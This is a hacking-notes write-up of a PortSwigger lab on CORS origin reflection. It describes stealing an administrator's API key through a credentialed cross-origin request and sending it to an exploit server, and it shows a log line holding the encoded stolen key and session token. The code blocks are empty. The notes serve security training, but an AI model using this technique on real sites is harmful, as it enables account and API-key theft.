> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/cors/cors-basic-origin-reflection.md).
# CORS Basic Reflection of Origin
CORS Basic Reflection of Origin notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### CORS Vulnerability with Basic Origin Reflection
Using an overly permissive CORS configuration (the server trusts any origin) to retrieve the API key from the administrator via a cross-origin query with `credentials` and send the response to our exploit server. Exercise is resolved when the API administrator key is submitted to the exploit server.
* Credentials provided to connect: `wiener:peter`.
* The page side code recovers the API key from `/accountDetails` and displays:
```javascript
```
The headers indicate `Access-Control-Allow-Credentials: true` (the server accepts requests with cookies/credentials).
* By testing a query with the `Origin: jord4n.pro` header, the answer is returned (the reflected origin is accepted).
```javascript
Origin: jord4n.pro
```
* The server reflects/allows the origin sent, so a page controlled by the attacker can perform a `XMLHttpRequest` or `fetch` to `/accountDetails` by including the victim's cookies (`withCredentials = true`) and recover the JSON answer containing the API key.
```javascript
```
Once the answer is read, it can be transmitted to the server (e.g. by encoding base64) for harvest.
```javascript
```
{% code overflow="wrap" %}
```
10.0.3.6 2025-10-29 20:19:37 +0000 "GET /?apiKey=ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIjg2cWk4Mnh2TUdDOUdyV2dYY1RPdUN4bnVCQU9Gd3VEIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiS240MzN2QVpqWU1WUTZTUE1JTmx4YzY5aHFjNVg1M24iCiAgXQp9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```
{% endcode %}
The operating server received a GET query containing the encoded response, for example:
---
# Agent Instructions
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